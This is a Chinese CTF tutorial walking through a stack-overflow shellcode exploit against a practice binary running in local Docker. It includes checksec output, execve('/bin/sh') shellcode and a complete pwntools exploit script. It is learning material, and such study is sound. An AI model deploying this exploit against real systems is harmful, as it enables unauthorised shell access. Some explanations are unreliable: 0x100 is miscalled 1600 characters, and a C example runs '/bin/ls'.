摘要
本文讲述的是PWN中利用溢出漏洞来执行shell命令的方法教程,本文将以简单的小程序来作为演示,从分析程序到编写payload加以利用,其中还含有二进制程序的保护机制简介。
0x01 前言
经过前面的几篇文章我们大概以及了解了基本的栈溢出漏洞的利用方式,那今天就来个进阶版。有时候我们在打CTF的时候需要的是获取系统shell,然后通过shell去拿到flag,那么我们该怎么通过溢出漏洞来拿到服务器的shell呢?这就是我们今天要讲的东西了。
本文的例子程序是pwn2程序,因为需要演示获取shell,我将该程序搭建到了docker中,并且使用了socat进行了端口转发,使用pwntools中的reomte()函数可以直接连接执行。
0x02 二进制程序的保护机制
在Linux下,二进制程序在编译的时候是可以指定保护机制的,例如禁止堆栈执行,下面介绍kali下的二进制保护检测工具——checksec。
下面先来演示一下该命令的用法,很简单,一句话而已。
root@kTWO:~/pwn/docker_lib/pwn# checksec pwn2
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/root/pwn/docker_lib/pwn/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
root@kTWO:~/pwn/docker_lib/pwn# checksec pwn2
[!]Pwntoolsdoesnotsupport32-bitPython.Usea64-bitrelease.
[*]'/root/pwn/docker_lib/pwn/pwn2'
Arch:i386-32-little
RELRO:PartialRELRO
Stack:Nocanaryfound
NX:NXdisabled
PIE:NoPIE(0x8048000)
RWX:HasRWXsegments
首先解释一下上面的几项参数:
Arch,该项位程序的位数,显示位32位程序。
RELRO,RELRO会有Partial RELRO和FULL RELRO,如果开启了FULL RELRO,那么我们将无法修改got表,关于got表后面的文章遇到了再讲解。
Stack,栈中是否开启了Canary found,如果该项保护被打开那么我们将无法直接覆盖EIP让程序任意跳转,因为在跳转后将会进行cookie校验,该项保护是可以绕过的,遇到的时候将详细分析。
NX,该项表示堆栈是否可执行,如果开启了该项保护,那么我们的shellcode将不能被执行。
PIE,该项表示地址随机化保护,如果开启了该项那么程序每次运行的地址都会变化,如果未开启那么No PIE(0x8048000)括号内的代表程序基址。
今天我们关注的点是NX,从检查结果中可以看到,程序基本没有开启任何保护,所以我们的发挥空间是很大的。
0x03 程序分析
同之前的教程一样,首先我们要判定程序的位数,然后运行查看,然后拖进IDA进行静态分析。本文程序pwn2位32位,下面是IDA分析的主要截图:
上面是main函数的逆向截图,基本没有什么信息,重要的是foo函数。
foo函数很简单,就几行代码而已,只完成了基本的打印和读入操作。
本程序的重点是要拿到shell权限,那我们的重点就是要想办法通过read函数溢出来获取到shell。程序中可以看到,首先声明了一个char buf变量,一个单字节变量,下面的printf函数打印了buf的地址,然后调用了read函数从键盘读取(0是键盘输入的文件描述符),然后将输入的数据存到了buf内存中,可输入的字符大小位0x100u,也就是无符号的1600个字符,那么问题来了,我们的buf只有1字节,但是却可以读入那么多的字符,肯定会造成程序的溢出,所以该处产生溢出。
既然我们要获取到shell,那么我们可以尝试让程序执行我们的代码,在C中我们创建一个新进程的代码如下:
C
char *argv[]={"sh", NULL};
char *envp[]={0,NULL};
execve("/bin/ls",argv,envp);
1
2
3
char*argv[]={"sh",NULL};
char*envp[]={0,NULL};
execve("/bin/ls",argv,envp);
所以我们只要编写shellcode汇编代码注入到该程序中并且执行,我们就可以拿到一个shell。
什么是shellcode?
shellcode就是一段二进制代码,程序中最进本单元,我们一般无法手动写出,通常是通过编写c语言代码进行编译,然后反汇编后拿到二进制代码。在pwntools中已经包含了可以生成shellcode代码的方法,大大缩减了我们的工作量。
0x04 函数栈分析
函数栈和前面的两个程序是相同的,如下:
栈中的s就是我们程序中的buf变量,当溢出的时候可以往高字节延申,因为没有开启栈保护和NX保护,所以我们可以控制函数的返回地址,以及在栈中运行我们的shellcode,那么我们该如何让shellcode注入并运行呢?
我们看到了EIP是返回地址,那如果我们将a1作为我们的shellcode首地址是否可行呢?答案是可行了,我们只要控制EIP的数值为a1单元所在的地址即可,也就是和EIP的地址加上4字节(栈中一般是4字节的距离)。那么我们可以开始编写payload和shellcode了。
0x05 编写Payload和shellcode
同之前一样,buf变量到EIP的距离为:buf的地址+0x1C + 0x4 = 0x20,那么我们要计算跳转的地址为0x20 + 0x4 = 0x24,也就是说a1的距离到buf的距离是0x24,buf的地址在程序运行的时候已经给出了,那么我们的基本Payload为:
bufAddr = pwn.recvline()
bufAddr = int(bufAddr[:-1],16)
payload = 'A' * 0x1C + 'A' * 0x4
1
2
3
bufAddr=pwn.recvline()
bufAddr=int(bufAddr[:-1],16)
payload='A'*0x1C+'A'*0x4
那就差我们的shellcode了,我们可以直接使用pwntools中的shellcode生成方法,这里要区分32和64位,基本生成方法如下:
32位:
context(os='linux',arch='i386',log_level='debug')
asm(shellcraft.i386.linux.sh())
64位:
context(os='linux',arch='amd64',log_level='debug')
asm(shellcraft.amd64.linux.sh())
1
2
3
4
5
6
7
32位:
context(os='linux',arch='i386',log_level='debug')
asm(shellcraft.i386.linux.sh())
64位:
context(os='linux',arch='amd64',log_level='debug')
asm(shellcraft.amd64.linux.sh())
context是设置环境用的,因为汇编是区分32位和64位的,所以要使用不同的环境来进行转换。下面我们看一下全本的shellcode是怎样的:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push0x68
push0x732f2f2f
push0x6e69622f
movebx,esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push0x1010101
xordwordptr[esp],0x1016972
xorecx,ecx
pushecx/* null terminate */
push4
popecx
addecx,esp
pushecx/* 'sh\x00' */
movecx,esp
xoredx,edx
/* call execve() */
pushSYS_execve/* 0xb */
popeax
int0x80
上面的内容是32位的shellcraft.i386.linux.sh()生成的,我们要通过asm转化为字符串如下:
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80
1
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80
所以只要将上面的字符串加到payload上就可以以构成一个完整的payload了。全部的脚本代码如下:
pwn2Crack.py
Python
#-*- coding: utf-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#pwn = process('./pwn2')
#docker转发到本地的端口32780
pwn = remote("127.0.0.1",32780)
bufAddr = pwn.recvline()
bufAddr = int(bufAddr[:-1],16)
payload = 'A' * 0x1C + 'A' * 0x4
#生成shellcode
shell = asm(shellcraft.i386.linux.sh())
#计算长度
shellAddr = bufAddr + len(payload) + 0x4
payload += p32(shellAddr)
payload += shell
pwn.sendline(payload)
#将程序控制权交给用户,相当于自用运行
pwn.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-*- coding: utf-8 -*-
frompwnimport*
context(os='linux',arch='i386',log_level='debug')
#pwn = process('./pwn2')
#docker转发到本地的端口32780
pwn=remote("127.0.0.1",32780)
bufAddr=pwn.recvline()
bufAddr=int(bufAddr[:-1],16)
payload='A'*0x1C+'A'*0x4
#生成shellcode
shell=asm(shellcraft.i386.linux.sh())
#计算长度
shellAddr=bufAddr+len(payload)+0x4
payload+=p32(shellAddr)
payload+=shell
pwn.sendline(payload)
#将程序控制权交给用户,相当于自用运行
pwn.interactive()
运行后的结果如下:
从图中我们可以看到已经拿到shell并成功执行了whoami命令,然后返回的结果位pwn,我们已经成功拿到了服务器的shell,可以为所欲为了。
0x06 总结
本文涉及到的东西有点多,首先我们讲解了二进制程序中的保护机制,然后我们分析程序发现了read方法中存在的溢出漏洞,最后我们分析函数栈发现可以注入我们自己的shellcode,控制程序跳转到该shellcode的地址即可,最终拿到了该题目的shell权限。
本文程序下载(密码:akcz):